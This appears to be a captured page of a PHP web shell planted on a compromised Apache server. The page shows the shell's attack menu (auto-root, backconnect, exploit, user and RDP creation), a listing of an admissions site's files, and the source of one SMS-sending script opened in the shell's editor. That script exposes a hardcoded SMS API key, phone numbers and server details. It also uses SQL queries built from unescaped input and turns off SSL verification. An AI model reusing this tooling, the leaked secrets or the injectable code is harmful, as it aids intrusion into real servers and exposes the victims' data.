Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.27.153
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
aiet /
adm /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxrwsr-x
css
[ DIR ]
drwxrwsr-x
images
[ DIR ]
drwxrwsr-x
img
[ DIR ]
drwxrwsr-x
js
[ DIR ]
drwxrwsr-x
libs
[ DIR ]
drwxrwsr-x
plugins
[ DIR ]
drwxrwsr-x
src
[ DIR ]
drwxrwsr-x
tcpdf
[ DIR ]
drwxrwsr-x
upload
[ DIR ]
drwxrwxrwx
MainPage.html
96.42
KB
-rwxr-xr-x
MainPage_dev.html
36.76
KB
-rwxr-xr-x
admission_sms_push.php
2.3
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
cconfig.php
1.46
KB
-rwxr-xr-x
cronjob_sendsms.php
2.54
KB
-rwxr-xr-x
database.php
216
B
-rwxr-xr-x
direct-signin.php
886
B
-rwxr-xr-x
forgot-password.php
2.62
KB
-rwxr-xr-x
forgotPassword.html
4.84
KB
-rwxr-xr-x
index.html
5.86
KB
-rwxr-xr-x
instruction.html
10.63
KB
-rwxr-xr-x
instruction_regn.html
4.44
KB
-rwxr-xr-x
login.php
294
B
-rwxr-xr-x
resetpassword.php
697
B
-rwxr-xr-x
sendGridMail.php
1.28
KB
-rwxr-xr-x
sendMobEmailOTP.php
2.25
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendsmsapi_onex.php
6.84
KB
-rwxr-xr-x
sendsmsapi_onex_new.php
4.59
KB
-rwxr-xr-x
sendsmsapiv1.php
9.44
KB
-rwxr-xr-x
sign-up.html
9
KB
-rwxr-xr-x
signin.php
973
B
-rwxr-xr-x
signup.php
1.33
KB
-rwxr-xr-x
signupPwd.php
1.11
KB
-rw-r--r--
support.html
7.33
KB
-rwxr-xr-x
upload.php
415
B
-rwxr-xr-x
upload1.php
423
B
-rwxr-xr-x
upload_file.php
757
B
-rwxr-xr-x
validateRegno.php
1.53
KB
-rwxr-xr-x
validateRegnoSendOTP.php
2.75
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sendsmsapi_onex_new.php
<?php class SMS{ // public $url = "https://api.onex-aura.com/api/sms?"; public $url = "https://api.onex-aura.com/api/jsmslist"; function __construct($funivcode, $fenttype){ include("/var/www/config.php"); $this->conn = new mysqli(SERVERNAME, USERNAME, PASSWORD, "logisys3_comexam"); if(!$this->conn) { die("Connection failed: " . mysqli_connect_error()); } $query = "select fsmsuser, fsmspasswd, fsmssendid, fdbname from dbname where funivcode = '{$funivcode}'"; $result = mysqli_query($this->conn, $query); $res = mysqli_fetch_assoc($result); $dbname = $res['fdbname']; $this->conn = new mysqli(SERVERNAME, USERNAME, PASSWORD, $dbname); if(!$this->conn) { die("Connection failed: " . mysqli_connect_error()); } $this->funivcode = $funivcode; $this->fenttype = $fenttype; } function sendSms($key, $to){ // $url = $this->url; // $url .= "key={$key}"; // $url .= "&from=PMSOLU"; // $txt = urlencode($message); // $url .= "&body={$txt}"; // $url .= "&entityid=1701160750260327092"; // $url .= "&templateid={$tmpid}"; // $url .= "&to={$to}"; // $session = curl_init($url); // curl_setopt($session, CURLOPT_HEADER, false); // curl_setopt($session, CURLOPT_RETURNTRANSFER, true); // $response = curl_exec($session); // curl_close($session); // print_r($response); // $to = "8183865028,7353604921"; // $message = "Admissions Open at Harsha Institutions, Nelamangala, Bengaluru for B.PHARM, PHARM D, Bsc Forensic. Call/Wa.me/6360044840, website : www.harshainstitutions.com - PMSOLU"; // $key = "hyCR3Tm7"; // $tmpid = "1707171378710576060"; $body = json_encode((object) array('key' => $key, 'listsms' => $to)); // var_dump($to);die(); $ch = curl_init(); curl_setopt($ch,CURLOPT_URL, $this->url); curl_setopt($ch,CURLOPT_POST, true ); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false ); curl_setopt($ch,CURLOPT_POSTFIELDS, $body ); $result2 = curl_exec($ch); //curl_close( $ch ); $resjuno = json_decode($result2,true); //print_r($resjuno); } function sendBulkSms(){ $qry = "SET SESSION group_concat_max_len=10000000"; $res = mysqli_query($this->conn, $qry); $query = "select funivcode, group_concat(concat(fmobileno)) as mobilenos, fenttype, fmessage, ifnull(fexamdate, '') as fexamdate, count(fmobileno) as fcount, if(length(fmessage) > 160, ceiling(307/153), 1) as msg_cnt, fkey, ftmpid from adm_sendsms where fmobileno is not null and fstatus = 'F' and funivcode = '{$this->funivcode}' and fenttype='{$this->fenttype}' and length(fmobileno) = 10 group by funivcode, fmessage"; $result = mysqli_query($this->conn, $query); $row = mysqli_fetch_assoc($result); $mobileno = $row['mobilenos']; $mobileNumbers = explode(",", $mobileno); $chunkSize = 10000; $to = array_chunk($mobileNumbers, $chunkSize); $message = $row['fmessage']; $key = $row['fkey']; $tmpid = $row['ftmpid']; for ($i=0; $i < count($to) ; $i++) { $strTo = implode(',', $to[$i]); $mobileNumbers1 = explode(",", $strTo); $smsarry = []; for ($j=0; $j < count($mobileNumbers1); $j++) { $arr['from'] = 'PMSOLU'; $arr['to'] = $mobileNumbers1[$j]; $arr['body'] = $message; $arr['entityid'] = '1701160750260327092'; $arr['templateid'] = $tmpid; array_push($smsarry, $arr); } $quotedArray = array_map(function($value) { return "'$value'"; }, $to[$i]); $result = implode(', ', $quotedArray); // var_dump($result);die(); $query = "update adm_sendsms set fstatus = 'T' where fenttype = '{$this->fenttype}' and fmobileno in ($result)"; $result = mysqli_query($this->conn, $query); $sms = $this->sendSms($key, $smsarry); echo $result."</br>"; } } } ?>
Close